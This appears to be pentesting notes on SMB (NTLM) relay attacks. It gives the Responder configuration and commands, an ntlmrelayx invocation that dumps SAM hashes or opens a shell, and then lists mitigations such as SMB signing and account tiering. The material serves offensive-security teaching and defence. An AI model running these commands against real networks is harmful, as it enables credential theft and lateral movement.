SMB relay

In a SMB relay (a.k.a. NTLM relay) attack, the attacker uses a captured NetNTLM hash of an administrator (best-case scenario) on the target server to authenticate the SMB service that has SMB signing disabled / not enforced (not required on workstations and required on servers by default; you can check with nmap default scripts for port 139/445 or directly use smb2-security-mode.nse).

Attack

To launch an SMB relay attack, edit Responder’s configuration so that it only spoofs the LLMNR request and not respond on SMB and HTTP ports (we want the relay tool to handle that).

; /usr/share/responder/Responder.conf
[Responder Core]
; ...
SMB = Off
; ...
HTTP = Off
; ...

Run Responder:

sudo responder -I tun0 -rdw

Edit targets.txt- :

echo -e "HOST1\nHOST2" > targets.txt

Run NTLM relay (part of impacket examples)

python ntlmrelayx.py -tf targets.txt -smb2support

Once an administrator authenticates, the NTLM relay will extract sensitive information and dump all local SAM hashes, which can be cracked or utilized in pass-the-hash.

To get an interactive SMB shell, add -i to the end of NTLM relay command line. You can start a listener on the port number given in stdout after a user connects.

To execute a command, use the -e option.

Don’t forget to restore Responder configuration.

Mitigation

To mitigate SMB relay:

• Enable SMB signing on all devices
  • pro: complete mitigation
  • con: performance caveat (15% decrease)
• Disable NetNTLM authentication
  • pro: (nigh-)complete mitigation
  • con: if Kerberos doesn’t work, Windows will default to NetNTLM anyways
• Account tiering
  • pro: limit DA to only log into servers when in need of domain administration, use normal accounts otherwise
  • con: difficult to enforce
• Local admin restriction
  • pro: prevents a lot of lateral movement
  • con: more service desk tickets (users are not local admins and can’t fix issues on their own)